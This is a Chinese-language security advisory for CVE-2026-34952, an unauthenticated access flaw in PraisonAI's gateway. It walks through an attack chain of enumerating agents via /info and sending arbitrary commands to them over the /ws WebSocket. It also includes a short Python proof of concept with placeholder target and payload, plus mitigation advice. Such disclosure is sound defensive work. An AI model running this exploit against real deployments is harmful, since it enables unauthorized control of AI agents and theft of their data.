IPBUF安全漏洞报告
English
CVE-2026-34952 CVSS 9.1 严重

CVE-2026-34952 PraisonAI未授权访问漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-34952
漏洞类型
未授权访问
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

未授权访问PraisonAIWebSocket认证缺失RCE

漏洞概述

PraisonAI 在 4.5.97 之前的版本中存在严重的未授权访问漏洞。由于其网关服务器未对 WebSocket 接口(/ws)和智能体拓扑接口(/info)实施身份验证,任何网络攻击者均可无需凭证连接服务器。攻击者能够枚举系统内的智能体,并向其发送任意消息,导致信息泄露和完整性受损。

技术细节

该漏洞源于 PraisonAI 网关服务器缺乏必要的访问控制机制。攻击者无需用户交互即可通过网络访问目标系统。首先,攻击者访问 /info 端点获取智能体拓扑结构,识别可用的智能体及其工具。随后,攻击者利用 /ws 端点建立 WebSocket 连接,利用获取的信息构造恶意数据包发送给特定智能体。由于系统未验证请求来源,智能体会接收并处理这些任意消息,允许攻击者执行未经授权的操作或窃取敏感数据。

攻击链分析

STEP 1
信息收集
攻击者访问无需认证的 /info 接口,获取系统中注册的智能体列表及拓扑结构。
STEP 2
建立连接
攻击者基于收集到的信息,连接到无需认证的 WebSocket 端点 /ws。
STEP 3
恶意指令注入
攻击者向特定的智能体或工具集发送构造好的任意消息,诱导智能体执行非预期操作。
STEP 4
数据泄露或篡改
智能体执行指令后返回结果,攻击者据此获取敏感信息或破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import requests import json TARGET_URL = "http://target-server" WS_URL = "ws://target-server/ws" # 1. Enumerate agents via /info print("[*] Fetching agent topology...") try: r = requests.get(f"{TARGET_URL}/info") if r.status_code == 200: agents = r.json() print(f"[+] Found agents: {agents}") except Exception as e: print(f"[-] Error fetching info: {e}") # 2. Connect and send arbitrary message async def send_exploit(): uri = WS_URL async with websockets.connect(uri) as websocket: # Construct malicious payload payload = { "agent": "target-agent-id", "message": "Arbitrary malicious command" } print(f"[*] Sending payload: {payload}") await websocket.send(json.dumps(payload)) response = await websocket.recv() print(f"[+] Received response: {response}") asyncio.get_event_loop().run_until_complete(send_exploit())

影响范围

PraisonAI < 4.5.97

防御指南

临时缓解措施
建议立即升级到修复版本。若暂时无法升级,应在网络边界限制对 PraisonAI 服务器的访问,仅允许可信内网 IP 连接,并严格监控 WebSocket 流量中的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表